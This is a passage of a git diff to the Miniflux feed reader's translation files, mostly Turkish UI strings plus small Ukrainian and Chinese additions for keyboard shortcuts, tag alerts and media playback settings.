"entry.bookmark.toast.off": "Yıldızsız", + "entry.bookmark.toast.on": "Yıldızlı", + "entry.bookmark.toggle.off": "Yıldızı kaldır", + "entry.bookmark.toggle.on": "Yıldız ekle", + "entry.comments.label": "Yorumlar", + "entry.comments.title": "Yorumları Göster", + "entry.estimated_reading_time": [ + "%d dakika okuma süresi", + "%d dakika okuma süresi" + ], + "entry.external_link.label": "Dış bağlantı", + "entry.save.completed": "Tamamlandı!", + "entry.save.label": "Kaydet", + "entry.save.title": "Bu makeleyi kaydet", + "entry.save.toast.completed": "Makele kaydedildi", + "entry.scraper.completed": "Tamamlandı!", + "entry.scraper.label": "İndir", + "entry.scraper.title": "Orijinal içeriği çek", + "entry.share.label": "Paylaş", + "entry.share.title": "Bu makeleyi paylaş", + "entry.shared_entry.label": "Paylaş", + "entry.shared_entry.title": "Herkese açık bağlantıyı aç", + "entry.state.loading": "Yükleniyor...", + "entry.state.saving": "Kaydediliyor...", + "entry.status.read": "Okundu", + "entry.status.title": "Makele okundu durumunu değiştir", + "entry.status.toast.read": "Okundu olarak işaretle", + "entry.status.toast.unread": "Okunmadı olarak işaretle", + "entry.status.unread": "Okunmadı", + "entry.tags.label": "Etiketler:", + "entry.unshare.label": "Paylaşma", + "error.api_key_already_exists": "Bu API anahtarı zaten mevcut.", + "error.bad_credentials": "Geçersiz kullanıcı veya parola.", + "error.category_already_exists": "Bu kategori zaten mevcut.", + "error.category_not_found": "Bu kategori mevcut değil ya da bu kullanıcıya ait değil.", + "error.database_error": "Veritabanı hatası: %v.", + "error.different_passwords": "Parolalar eşleşmiyor.", + "error.duplicate_fever_username": "Aynı Fever kullanıcı adına sahip başka biri zaten var!", + "error.duplicate_googlereader_username": "Aynı Google Reader kullanıcı adına sahip başka biri zaten var!", + "error.duplicate_linked_account": "Bu sağlayıcıyla ilişkilendirilmiş biri zaten var!", + "error.duplicated_feed": "Bu makele zaten var.", + "error.empty_file": "Bu dosya boş.", + "error.entries_per_page_invalid": "Sayfa başına makele sayısı geçersiz.", + "error.feed_already_exists": "Bu besleme zaten mevcut.", + "error.feed_category_not_found": "Bu kategori mevcut değil ya da bu kullanıcıya ait değil.", + "error.feed_format_not_detected": "Besleme formatı algılanamadı: %v.", + "error.feed_invalid_blocklist_rule": "Engelleme listesi kuralı geçersiz.", + "error.feed_invalid_keeplist_rule": "Saklama listesi kuralı geçersiz.", + "error.feed_mandatory_fields": "URL ve kategori zorunlu.", + "error.feed_not_found": "Bu makele mevcut değil ya da bu kullanıcıya ait değil.", + "error.feed_title_not_empty": "Besleme başlığı boş olamaz.", + "error.feed_url_not_empty": "Besleme URL'si boş olamaz.", + "error.fields_mandatory": "Tüm alanlar zorunlu.", + "error.http_bad_gateway": "Kötü ağ geçidi hatası nedeniyle bu website şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.", + "error.http_body_read": "HTTP gövdesi okunamıyor: %v.", + "error.http_client_error": "HTTP istemci hatası: %v.", + "error.http_empty_response": "HTTP yanıtı boş. Belki bu web sitesi bir bot koruma mekanizması kullanıyordur?", + "error.http_empty_response_body": "HTTP yanıt gövdesi boş.", + "error.http_forbidden": "Bu siteye erişim yasak. Belki bu web sitesinin bir bot koruma mekanizması vardır?", + "error.http_gateway_timeout": "Ağ geçidi zaman aşımı hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.", + "error.http_internal_server_error": "Sunucu hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.", + "error.http_not_authorized": "Bu web sitesine erişim izni verilmemektedir. Kötü bir kullanıcı adı veya şifreden kaynaklanıyor olabilir.", + "error.http_resource_not_found": "İstenilen kaynak bulunamadı. Lütfen URL'yi doğrulayın.", + "error.http_response_too_large": "HTTP yanıtı çok büyük. Genel ayarlardan HTTP yanıt boyutu sınırını artırabilirsiniz (sunucunun yeniden başlatılmasını gerektirir).", + "error.http_service_unavailable": "Dahili sunucu hatası nedeniyle web sitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.", + "error.http_too_many_requests": "Miniflux bu web sitesine çok fazla istek oluşturdu. Lütfen daha sonra tekrar deneyin veya uygulama yapılandırmasını değiştirin.", + "error.http_unexpected_status_code": "Beklenmeyen bir HTTP durum kodu nedeniyle bu websitesi şu anda kullanılamıyor: %d. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.", + "error.invalid_default_home_page": "Geçersiz varsayılan ana sayfa!", + "error.invalid_display_mode": "Geçersiz web uygulaması görüntüleme modu.", + "error.invalid_entry_direction": "Geçersiz makele sıralaması.", + "error.invalid_feed_url": "Geçersiz besleme URL'si.", + "error.invalid_gesture_nav": "Hareketle gezinme geçersiz.", + "error.invalid_language": "Geçersiz dil.", + "error.invalid_site_url": "Geçersiz site URL'si.", + "error.invalid_theme": "Geçersiz tema.", + "error.invalid_timezone": "Geçersiz saat dilimi.", + "error.network_operation": "Miniflux bir ağ hatası nedeniyle bu websitesine erişemiyor: %v.", + "error.network_timeout": "Bu websitesi çok yavaş ve istek zaman aşımına uğradı: %v", + "error.password_min_length": "Parola en az 6 karakter içermeli.", + "error.pocket_access_token": "Pocket'tan access tokeni alınamıyor!", + "error.pocket_request_token": "Pocket'tan request tokeni alınamıyor!", + "error.settings_mandatory_fields": "Kullanıcı ad, tema, dil ve saat dilimi zorunlu.", + "error.settings_media_playback_rate_range": "Oynatma hızı aralık dışında", + "error.settings_reading_speed_is_positive": "Okuma hızları pozitif tam sayılar olmalıdır.", + "error.site_url_not_empty": "Site URL'si boş olamaz.", + "error.subscription_not_found": "Herhangi bir abonelik bulunamadı.", + "error.title_required": "Başlık zorunlu.", + "error.tls_error": "TLS hatası: %q. İsterseniz feed ayarlarından TLS doğrulamasını devre dışı bırakabilirsiniz.", + "error.unable_to_create_api_key": "Bu API anahtarı oluşturulamıyor.", + "error.unable_to_create_category": "Bu kategori oluşturulamıyor.", + "error.unable_to_create_user": "Bu kullanıcı oluşturulamıyor.", + "error.unable_to_detect_rssbridge": "RSS-Bridge kullanılarak besleme algılanamıyor: %v.", + "error.unable_to_parse_feed": "Bu besleme ayrıştırılamıyor: %v.", + "error.unable_to_update_category": "Bu kategori güncellenemiyor.", + "error.unable_to_update_feed": "Bu besleme güncellenemiyor.", + "error.unable_to_update_user": "Bu kullanıcı güncellenemiyor.", + "error.unlink_account_without_password": "Bir şifre belirlemelisiniz, aksi takdirde tekrar oturum açamazsınız.", + "error.user_already_exists": "Bu kullanıcı zaten mevcut.", + "error.user_mandatory_fields": "Kullanıcı adı zorunlu.", + "form.api_key.label.description": "API Anahtar Etiketi", + "form.category.hide_globally": "Genel okunmamış listesindeki girişleri gizle", + "form.category.label.title": "Başlık", + "form.feed.fieldset.general": "Genel", + "form.feed.fieldset.integration": "Üçüncü Taraf Hizmetleri", + "form.feed.fieldset.network_settings": "Ağ Ayarları", + "form.feed.fieldset.rules": "Kurallar", + "form.feed.label.allow_self_signed_certificates": "Kendinden imzalı veya geçersiz sertifikalara izin ver", + "form.feed.label.apprise_service_urls": "Apprise hizmet URL'lerinin virgülle ayrılmış listesi", + "form.feed.label.blocklist_rules": "Engelleme Kuralları", + "form.feed.label.category": "Kategori", + "form.feed.label.cookie": "Çerezleri Ayarla", + "form.feed.label.crawler": "Orijinal içeriği çek", + "form.feed.label.disable_http2": "Parmak izini önlemek için HTTP/2'yi devre dışı bırakın", + "form.feed.label.disabled": "Bu beslemeyi yenileme", + "form.feed.label.feed_password": "Besleme Parolası", + "form.feed.label.feed_url": "Besleme URL'si", + "form.feed.label.feed_username": "Besleme Kullanıcı Adı", + "form.feed.label.fetch_via_proxy": "Proxy ile çek", + "form.feed.label.hide_globally": "Genel okunmamış listesindeki girişleri gizle", + "form.feed.label.ignore_http_cache": "HTTP önbelleğini yoksay", + "form.feed.label.keeplist_rules": "Saklama Kuralları", + "form.feed.label.no_media_player": "Medya oynatıcı yok (ses/video)", + "form.feed.label.rewrite_rules": "Yeniden Yazma Kuralları", + "form.feed.label.scraper_rules": "Scrapper Kuralları", + "form.feed.label.site_url": "Site URL'si", + "form.feed.label.title": "Başlık", + "form.feed.label.urlrewrite_rules": "URL Yeniden Yazma Kuralları", + "form.feed.label.user_agent": "Varsayılan User Agent'i Geçersiz Kıl", + "form.import.label.file": "OPML dosyası", + "form.import.label.url": "URL", + "form.integration.apprise_activate": "Push entries to Apprise", + "form.integration.apprise_services_url": "Apprise hizmet URL'lerinin virgülle ayrılmış listesi", + "form.integration.apprise_url": "Apprise API URL", + "form.integration.espial_activate": "Makaleleri Espial'e kaydet", + "form.integration.espial_api_key": "Espial API Anahtarı", + "form.integration.espial_endpoint": "Espial API Uç Noktası", + "form.integration.espial_tags": "Espial Etiketleri", + "form.integration.fever_activate": "Fever API'yi Etkinleştir", + "form.integration.fever_endpoint": "Fever API uç noktası:", + "form.integration.fever_password": "Fever Parolası", + "form.integration.fever_username": "Fever Kullanıcı Adı", + "form.integration.googlereader_activate": "Google Reader API'yi Etkinleştir", + "form.integration.googlereader_endpoint": "Google Reader API uç noktası:", + "form.integration.googlereader_password": "Google Reader Parolası", + "form.integration.googlereader_username": "Google Reader Kullanıcı Adı", + "form.integration.instapaper_activate": "Makaleleri Instapaper'a kaydet", + "form.integration.instapaper_password": "Instapaper Parolası", + "form.integration.instapaper_username": "Instapaper Kullanıcı Adı", + "form.integration.linkace_activate": "Makaleleri LinkAce'e kaydet", + "form.integration.linkace_api_key": "LinkAce API anahtarı", + "form.integration.linkace_check_disabled": "Link kontrolünü devre dışı bırak", + "form.integration.linkace_endpoint": "LinkAce API Uç Noktası", + "form.integration.linkace_is_private": "Linki özel olarak işaretle", + "form.integration.linkace_tags": "LinkAce Etiketleri", + "form.integration.linkding_activate": "Makaleleri Linkding'e kaydet", + "form.integration.linkding_api_key": "Linkding API Anahtarı", + "form.integration.linkding_bookmark": "Yer imini okunmadı olarak işaretle", + "form.integration.linkding_endpoint": "Linkding API Uç Noktası", + "form.integration.linkding_tags": "Linkding Etiketleri", + "form.integration.linkwarden_activate": "Makaleleri Linkwarden'e kaydet", + "form.integration.linkwarden_api_key": "Linkwarden API Anahtarı", + "form.integration.linkwarden_endpoint": "Linkwarden API Uç Noktası", + "form.integration.matrix_bot_activate": "Yeni makaleleri Matrix'e aktarın", + "form.integration.matrix_bot_chat_id": "Matrix odasının kimliği", + "form.integration.matrix_bot_password": "Matrix kullanıcısı için parola", + "form.integration.matrix_bot_url": "Matrix sunucu URL'si", + "form.integration.matrix_bot_user": "Matrix için Kullanıcı Adı", + "form.integration.notion_activate": "Makaleleri Notion'a kaydet", + "form.integration.notion_page_id": "Notion Sayfa ID'si", + "form.integration.notion_token": "Notion Secret Token", + "form.integration.nunux_keeper_activate": "Makaleleri Nunux Keeper'a kaydet", + "form.integration.nunux_keeper_api_key": "Nunux Keeper API anahtarı", + "form.integration.nunux_keeper_endpoint": "Nunux Keeper API Uç Noktası", + "form.integration.omnivore_activate": "Makaleleri Omnivore'a kaydet", + "form.integration.omnivore_api_key": "Omnivore API anahtarı", + "form.integration.omnivore_url": "Omnivore API Uç Noktası", + "form.integration.pinboard_activate": "Makaleleri Pinboard'a kaydet", + "form.integration.pinboard_bookmark": "Yer imini okunmadı olarak işaretle", + "form.integration.pinboard_tags": "Pinboard Etiketleri", + "form.integration.pinboard_token": "Pinboard API Token", + "form.integration.pocket_access_token": "Pocket Access Token", + "form.integration.pocket_activate": "Makaleleri Pocket'a kaydet", + "form.integration.pocket_connect_link": "Pocket hesabını bağla", + "form.integration.pocket_consumer_key": "Pocket Consumer Anahtarı", + "form.integration.readeck_activate": "Makaleleri Readeck'e kaydet", + "form.integration.readeck_api_key": "Readeck API Anahtarı", + "form.integration.readeck_endpoint": "Readeck API Uç Noktası", + "form.integration.readeck_labels": "Readeck Etiketleri", + "form.integration.readeck_only_url": "Yalnızca URL gönder (tam makale yerine)", + "form.integration.readwise_activate": "Makaleleri Readwise Reader'a kaydet", + "form.integration.readwise_api_key": "Readwise Reader Access Token", + "form.integration.readwise_api_key_link": "Readwise Access Token'ınızı alın", + "form.integration.rssbridge_activate": "Abonelik eklerken RSS-Bridge'i kontrol edin", + "form.integration.rssbridge_url": "RSS-Bridge server URL", + "form.integration.shaarli_activate": "Makaleleri Shaarli'ye kaydet", + "form.integration.shaarli_api_secret": "Shaarli API Secret", + "form.integration.shaarli_endpoint": "Shaarli URL", + "form.integration.shiori_activate": "Makaleleri Shiori'ye kaydet", + "form.integration.shiori_endpoint": "Shiori API Uç Noktası", + "form.integration.shiori_password": "Shiori Parolası", + "form.integration.shiori_username": "Shiori Kullanıcı Adı", + "form.integration.telegram_bot_activate": "Yeni makaleleri Telegram sohbetine gönderin", + "form.integration.telegram_bot_disable_buttons": "Butonları devre dışı bırak", + "form.integration.telegram_bot_disable_notification": "Bildirimleri devre dışı bırak", + "form.integration.telegram_bot_disable_web_page_preview": "Web sayfası önizlemesini devre dışı bırak", + "form.integration.telegram_bot_token": "Bot token", + "form.integration.telegram_chat_id": "Sohbet ID", + "form.integration.telegram_topic_id": "Konu ID", + "form.integration.wallabag_activate": "Makaleleri Wallabag'e kaydet", + "form.integration.wallabag_client_id": "Wallabag Client ID", + "form.integration.wallabag_client_secret": "Wallabag Client Secret", + "form.integration.wallabag_endpoint": "Wallabag API Uç Noktası", + "form.integration.wallabag_only_url": "Yalnızca URL gönder (tam makale yerine)", + "form.integration.wallabag_password": "Wallabag Parolası", + "form.integration.wallabag_username": "Wallabag Kullanıcı Adı", + "form.integration.webhook_activate": "Webhook'u etkinleştir", + "form.integration.webhook_secret": "Webhook Secret", + "form.integration.webhook_url": "Webhook URL", + "form.prefs.fieldset.application_settings": "Uygulama Ayarları", + "form.prefs.fieldset.authentication_settings": "Kimlik Doğrulama Ayarları", + "form.prefs.fieldset.reader_settings": "Okuyucu Ayarları", + "form.prefs.label.categories_sorting_order": "Kategori sıralaması", + "form.prefs.label.cjk_reading_speed": "Çince, Korece ve Japonca için okuma hızı (dakika başına karakter)", + "form.prefs.label.custom_css": "Özel CSS", + "form.prefs.label.default_home_page": "Varsayılan ana sayfa", + "form.prefs.label.default_reading_speed": "Diğer diller için okuma hızı (dakika başına kelime)", + "form.prefs.label.display_mode": "Progressive Web App (PWA) görüntüleme modu", + "form.prefs.label.entries_per_page": "Sayfa başına makale", + "form.prefs.label.entry_order": "Makale Sıralama Sütunu", + "form.prefs.label.entry_sorting": "Makale Sıralaması", + "form.prefs.label.entry_swipe": "Dokunmatik ekranlarda makale kaydırmayı etkinleştir", + "form.prefs.label.gesture_nav": "Makaleler arasında gezinmek için dokunma hareketi", + "form.prefs.label.keyboard_shortcuts": "Klavye kısayollarını etkinleştir", + "form.prefs.label.language": "Dil", + "form.prefs.label.mark_read_on_view": "Makaleler görüntülendiğinde otomatik olarak okundu olarak işaretle", + "form.prefs.label.media_playback_rate": "Ses/video oynatma hızı", + "form.prefs.label.show_reading_time": "Makaleler için tahmini okuma süresini göster", + "form.prefs.label.theme": "Tema", + "form.prefs.label.timezone": "Saat Dilimi", + "form.prefs.select.alphabetical": "Alfabetik", + "form.prefs.select.browser": "Tarayıcı", + "form.prefs.select.created_time": "İçeriğin oluşturulma zamanı", + "form.prefs.select.fullscreen": "Tam Ekran", + "form.prefs.select.minimal_ui": "Minimal", + "form.prefs.select.none": "Hiçbiri", + "form.prefs.select.older_first": "Önce eski makaleler", + "form.prefs.select.publish_time": "Makale yayınlanma zamanı", + "form.prefs.select.recent_first": "Önce yeni makaleler", + "form.prefs.select.standalone": "Bağımsız", + "form.prefs.select.swipe": "Kaydırma", + "form.prefs.select.tap": "Çift dokunma", + "form.prefs.select.unread_count": "Okunmamış sayısı", + "form.submit.loading": "Yükleniyor...", + "form.submit.saving": "Kaydediliyor...", + "form.user.label.admin": "Yönetici", + "form.user.label.confirmation": "Parola Doğrulama", + "form.user.label.password": "Parola", + "form.user.label.username": "Kullanıcı Adı", + "menu.about": "Hakkında", + "menu.add_feed": "Besleme ekle", + "menu.add_user": "Kullanıcı ekle", + "menu.api_keys": "API Anahtarları", + "menu.categories": "Kategoriler", + "menu.create_api_key": "Yeni bir API anahtarı oluştur", + "menu.create_category": "Kategori oluştur", + "menu.edit_category": "Düzenle", + "menu.edit_feed": "Düzenle", + "menu.export": "Dışarı Aktar", + "menu.feed_entries": "Makaleler", + "menu.feeds": "Beslemeler", + "menu.flush_history": "Geçmişi temizle", + "menu.history": "Geçmiş", + "menu.home_page": "Anasayfa", + "menu.import": "İçeri Aktar", + "menu.integrations": "Entegrasyonlar", + "menu.logout": "Çıkış", + "menu.mark_all_as_read": "Tümünü okundu olarak işaretle", + "menu.mark_page_as_read": "Bu sayfayı okundu olarak işaretle", + "menu.preferences": "Tercihler", + "menu.refresh_all_feeds": "Tüm beslemeleri arka planda yenile", + "menu.refresh_feed": "Yenile", + "menu.search": "Ara", + "menu.sessions": "Oturumlar", + "menu.settings": "Ayarlar", + "menu.shared_entries": "Paylaşılan makaleler", + "menu.show_all_entries": "Tüm makaleleri göster", + "menu.show_only_unread_entries": "Sadece okunmamış makaleleri göster", + "menu.starred": "Yıldız", + "menu.title": "Menü", + "menu.unread": "Okunmadı", + "menu.users": "Kullanıcılar", + "page.about.author": "Yazar:", + "page.about.build_date": "Oluşturulma Tarihi:", + "page.about.credits": "Katkıda Bulunanlar", + "page.about.global_config_options": "Global yapılandırma seçenekleri", + "page.about.go_version": "Go sürümü:", + "page.about.license": "Lisans:", + "page.about.postgres_version": "Postgres sürümü:", + "page.about.title": "Hakkında", + "page.about.version": "Sürüm:", + "page.add_feed.choose_feed": "Bir Besleme Seçin", + "page.add_feed.label.url": "URL", + "page.add_feed.legend.advanced_options": "Gelişmiş Seçenekler", + "page.add_feed.no_category": "Kategori yok. En az bir kategoriye sahip olmalısınız.", + "page.add_feed.submit": "Besleme bul", + "page.add_feed.title": "Yeni Besleme", + "page.api_keys.never_used": "Hiç Kullanılmadı", + "page.api_keys.table.actions": "Hareketler", + "page.api_keys.table.created_at": "Oluşturulma Tarihi", + "page.api_keys.table.description": "Açıklama", + "page.api_keys.table.last_used_at": "Son Kullanılma", + "page.api_keys.table.token": "Token", + "page.api_keys.title": "API Anahtarları", + "page.categories.entries": "Makaleler", + "page.categories.feed_count": ["%d besleme var.", "%d besleme var."], + "page.categories.feeds": "Beslemeler", + "page.categories.no_feed": "Besleme yok.", + "page.categories.title": "Kategoriler", + "page.categories_count": ["%d kategori", "%d kategori"], + "page.category_label": "Kategori: %s", + "page.edit_category.title": "Kategoriyi Düzenle: %s", + "page.edit_feed.etag_header": "ETag başlığı:", + "page.edit_feed.last_check": "Son kontrol:", + "page.edit_feed.last_modified_header": "LastModified başlığı:", + "page.edit_feed.last_parsing_error": "Son Ayrıştırma Hatası", + "page.edit_feed.no_header": "Hiçbiri", + "page.edit_feed.title": "Beslemeyi düzenle: %s", + "page.edit_user.title": "Kullanıcıyı Düzenle: %s", + "page.entry.attachments": "Ekler", + "page.feeds.error_count": ["%d hatası", "%d hatası"], + "page.feeds.last_check": "Son kontrol:", + "page.feeds.next_check": "Sonraki kontrol:", + "page.feeds.read_counter": "Okunmuş makalelerin sayısı", + "page.feeds.title": "Beslemeler", + "page.history.title": "Geçmiş", + "page.import.title": "İçeri Aktar", + "page.integration.bookmarklet": "Bookmarklet", + "page.integration.bookmarklet.help": "Bu özel bağlantı, web tarayıcınızdaki yer imini kullanarak bir websitesine doğrudan abone olmanızı sağlar.", + "page.integration.bookmarklet.instructions": "Bu bağlantıyı yer imlerinize sürükleyip bırakın", + "page.integration.bookmarklet.name": "Miniflux'a Ekle", + "page.integration.miniflux_api": "Miniflux API", + "page.integration.miniflux_api_endpoint": "API Uç Noktası", + "page.integration.miniflux_api_password": "Parola", + "page.integration.miniflux_api_password_value": "Hesap parolan", + "page.integration.miniflux_api_username": "Kullanıcı adı", + "page.integrations.title": "Entegrasyonlar", + "page.keyboard_shortcuts.close_modal": "İletişim kutusunu kapat", + "page.keyboard_shortcuts.download_content": "Orijinal içeriği indir", + "page.keyboard_shortcuts.go_to_bottom_item": "Alt makeleye git", + "page.keyboard_shortcuts.go_to_categories": "Kategorilere git", + "page.keyboard_shortcuts.go_to_feed": "Beslemeye git", + "page.keyboard_shortcuts.go_to_feeds": "Beslemelere git", + "page.keyboard_shortcuts.go_to_history": "Geçmişe git", + "page.keyboard_shortcuts.go_to_next_item": "Sonraki makeleye git", + "page.keyboard_shortcuts.go_to_next_page": "Sonraki sayfaya git", + "page.keyboard_shortcuts.go_to_previous_item": "Önceki makeleye git", + "page.keyboard_shortcuts.go_to_previous_page": "Önceki sayfaya git", + "page.keyboard_shortcuts.go_to_search": "Arama formuna odakla", + "page.keyboard_shortcuts.go_to_settings": "Ayarlara git", + "page.keyboard_shortcuts.go_to_starred": "Yer imlerine git", + "page.keyboard_shortcuts.go_to_top_item": "En üstteki makeleye git", + "page.keyboard_shortcuts.go_to_unread": "Okunmamışa git", + "page.keyboard_shortcuts.mark_page_as_read": "Mevcut sayfayı okundu olarak işaretle", + "page.keyboard_shortcuts.open_comments": "Yorumlar bağlantısını aç", + "page.keyboard_shortcuts.open_comments_same_window": "Yorumlar bağlantısını mevcut sekmede aç", + "page.keyboard_shortcuts.open_item": "Seçili makeleyi aç", + "page.keyboard_shortcuts.open_original": "Orijinal bağlantıyı aç", + "page.keyboard_shortcuts.open_original_same_window": "Orijinal bağlantıyı mevcut sekmede aç", + "page.keyboard_shortcuts.refresh_all_feeds": "Tüm beslemeleri arka planda yenile", + "page.keyboard_shortcuts.remove_feed": "Bu beslemeyi kaldır", + "page.keyboard_shortcuts.save_article": "İçeriği kaydet", + "page.keyboard_shortcuts.scroll_item_to_top": "Makaleyi en üste kaydır", + "page.keyboard_shortcuts.show_keyboard_shortcuts": "Klavye kısayollarını göster", + "page.keyboard_shortcuts.subtitle.actions": "Eylemler", + "page.keyboard_shortcuts.subtitle.items": "Makalelerde Gezinme", + "page.keyboard_shortcuts.subtitle.pages": "Sayfalarda Gezinme", + "page.keyboard_shortcuts.subtitle.sections": "Bölümlerde Gezinme", + "page.keyboard_shortcuts.title": "Klavye Kısayolları", + "page.keyboard_shortcuts.toggle_bookmark_status": "Yıldız ekle/kaldır", + "page.keyboard_shortcuts.toggle_entry_attachments": "Makele eklerini açma/kapama arasında geçiş yap", + "page.keyboard_shortcuts.toggle_read_status_next": "Okundu/okunmadı arasında geçiş yap, sonrakine odaklan", + "page.keyboard_shortcuts.toggle_read_status_prev": "Okundu/okunmadı arasında geçiş yap, öncekine odaklan", + "page.login.google_signin": "Google ile oturum aç", + "page.login.oidc_signin": "OpenID Connect ile oturum aç", + "page.login.title": "Oturum aç", + "page.login.webauthn_login": "Passkey ile giriş yap", + "page.login.webauthn_login.error": "Passkey ile giriş yapılamıyor", + "page.new_api_key.title": "Yeni API Anahtarı", + "page.new_category.title": "Yeni Kategori", + "page.new_user.title": "Yeni Kullanıcı", + "page.offline.message": "Çevrimdışısınız", + "page.offline.refresh_page": "Sayfayı yenilemeyi dene", + "page.offline.title": "Çevrimdışı Modu", + "page.read_entry_count": ["%d okunmuş makale", "%d okunmuş makale"], + "page.search.title": "Arama Sonuçları", + "page.sessions.table.actions": "Eylemler", + "page.sessions.table.current_session": "Mevcut Oturum", + "page.sessions.table.date": "Tarih", + "page.sessions.table.ip": "IP Adresi", + "page.sessions.table.user_agent": "User Agent", + "page.sessions.title": "Oturumlar", + "page.settings.link_google_account": "Google hesabımı bağla", + "page.settings.link_oidc_account": "OpenID Connect hesabımı bağla", + "page.settings.title": "Ayarlar", + "page.settings.unlink_google_account": "Google hesabımın bağlantısını kaldır", + "page.settings.unlink_oidc_account": "OpenID Connect hesabımın bağlantısını kaldır", + "page.settings.webauthn.actions": "Eylemler", + "page.settings.webauthn.added_on": "Eklendi", + "page.settings.webauthn.delete": [ + "%d passkey'i kaldır", + "%d passkey'i kaldır" + ], + "page.settings.webauthn.last_seen_on": "Son Kullanım", + "page.settings.webauthn.passkey_name": "Passkey Adı", + "page.settings.webauthn.passkeys": "Passkeyler", + "page.settings.webauthn.register": "Passkey'i kaydet", + "page.settings.webauthn.register.error": "Passkey kaydedilemiyor", + "page.shared_entries.title": "Paylaşılan makaleler", + "page.shared_entries_count": [ + "%d paylaşılan makaleler", + "%d paylaşılan makaleler" + ], + "page.starred.title": "Yıldızlı", + "page.starred_entry_count": [ + "%d yıldızlanmış makale", + "%d yıldızlanmış makale" + ], + "page.total_entry_count": ["Toplamda %d makale", "Toplamda %d makale"], + "page.unread.title": "Okunmadı", + "page.unread_entry_count": [ + "Toplamda %d okunmamış makale", + "Toplamda %d okunmamış makale" + ], + "page.users.actions": "Eylemler", + "page.users.admin.no": "Hayır", + "page.users.admin.yes": "Evet", + "page.users.is_admin": "Yönetici", + "page.users.last_login": "Son Giriş", + "page.users.never_logged": "Asla", + "page.users.title": "Kullanıcılar", + "page.users.username": "Kullanıcı adı", + "page.webauthn_rename.title": "Passkey'i Yeniden Adlandır", + "pagination.next": "Sonraki", + "pagination.previous": "Önceki", + "search.label": "Ara", + "search.placeholder": "Ara...", + "search.submit": "Ara", + "skip_to_content": "İçeriğe atla", + "time_elapsed.days": ["%d gün önce", "%d gün önce"], + "time_elapsed.hours": ["%d saat önce", "%d saat önce"], + "time_elapsed.minutes": ["%d dakika önce", "%d dakika önce"], + "time_elapsed.months": ["%d ay önce", "%d ay önce"], + "time_elapsed.not_yet": "henüz değil", + "time_elapsed.now": "şimdi", + "time_elapsed.weeks": ["%d hafta önce", "%d hafta önce"], + "time_elapsed.years": ["%d yıl önce", "%d yıl önce"], + "time_elapsed.yesterday": "dün", + "tooltip.keyboard_shortcuts": "Klavye Kısayolu: %s", + "tooltip.logged_user": "%s olarak giriş yapıldı" } diff --git a/internal/locale/translations/uk_UA.json b/internal/locale/translations/uk_UA.json index 6bf94b09..832a1471 100644 --- a/internal/locale/translations/uk_UA.json +++ b/internal/locale/translations/uk_UA.json @@ -187,6 +187,8 @@ "page.keyboard_shortcuts.go_to_feed": "Перейти до стрічки", "page.keyboard_shortcuts.go_to_previous_page": "Перейти до попередньої сторінки", "page.keyboard_shortcuts.go_to_next_page": "Перейти до наступної сторінки", + "page.keyboard_shortcuts.go_to_bottom_item": "Перейти до нижнього пункту", + "page.keyboard_shortcuts.go_to_top_item": "Перейти до верхнього пункту", "page.keyboard_shortcuts.open_item": "Відкрити виділений запис", "page.keyboard_shortcuts.open_original": "Відкрити оригінальне посилання", "page.keyboard_shortcuts.open_original_same_window": "Відкрити оригінальне посилання в поточній вкладці", @@ -266,6 +268,7 @@ "alert.no_bookmark": "Наразі закладки відсутні.", "alert.no_category": "Немає категорії.", "alert.no_category_entry": "У цій категорії немає записів.", + "alert.no_tag_entry": "Немає записів, що відповідають цьому тегу.", "alert.no_feed_entry": "У цій стрічці немає записів.", "alert.no_feed": "У вас немає підписок.", "alert.no_feed_in_category": "У цій категорії немає підписок.", @@ -522,7 +525,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -541,5 +544,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Швидкість відтворення аудіо/відео", + "error.settings_media_playback_rate_range": "Швидкість відтворення виходить за межі діапазону" } diff --git a/internal/locale/translations/zh_CN.json b/internal/locale/translations/zh_CN.json index 1d7d2e32..b32a270a 100644 --- a/internal/locale/translations/zh_CN.json +++ b/internal/locale/translations/zh_CN.json @@ -169,6 +169,8 @@ "page.keyboard_shortcuts.go_to_feed": "转到源页面", "page.keyboard_shortcuts.go_to_previous_page": "上一页", "page.keyboard_shortcuts.go_to_next_page": "下一页", + "page.keyboard_shortcuts.go_to_bottom_item": "转到底部项目", + "page.keyboard_shortcuts.go_to_top_item": "转到顶部项目", "page.keyboard_shortcuts.open_item": "打开选定的文章", "page.keyboard_shortcuts.open_original": "打开原始链接", "page.keyboard_shortcuts.open_original_same_window": "在当前标签页中打开原始链接", @@ -246,6 +248,7 @@ "alert.no_bookmark": "目前没有收藏", "alert.no_category": "目前没有分类", "alert.no_category_entry": "该分类下没有文章", + "alert.no_tag_entry": "没有与此标签匹配的条目。", "alert.no_feed_entry": "该源中没有文章", "alert.no_feed": "目前没有源", "alert.no_history": "目前没有历史", @@ -406,9 +409,9 @@ "form.integration.omnivore_activate": "保存文章到 Omnivore", "form.integration.omnivore_url": "Omnivore API 端点", "form.integration.omnivore_api_key": "Omnivore API 密钥", - "form.integration.espial_activate": "保存文章到 Espial", - "form.integration.espial_endpoint": "Espial API 端点", - "form.integration.espial_api_key": "Espial API 密钥", + "form.integration.espial_activate": "保存文章到 Espial", + "form.integration.espial_endpoint": "Espial API 端点", + "form.integration.espial_api_key": "Espial API 密钥", "form.integration.espial_tags": "Espial 标签", "form.integration.readwise_activate": "保存文章到 Readwise Reader", 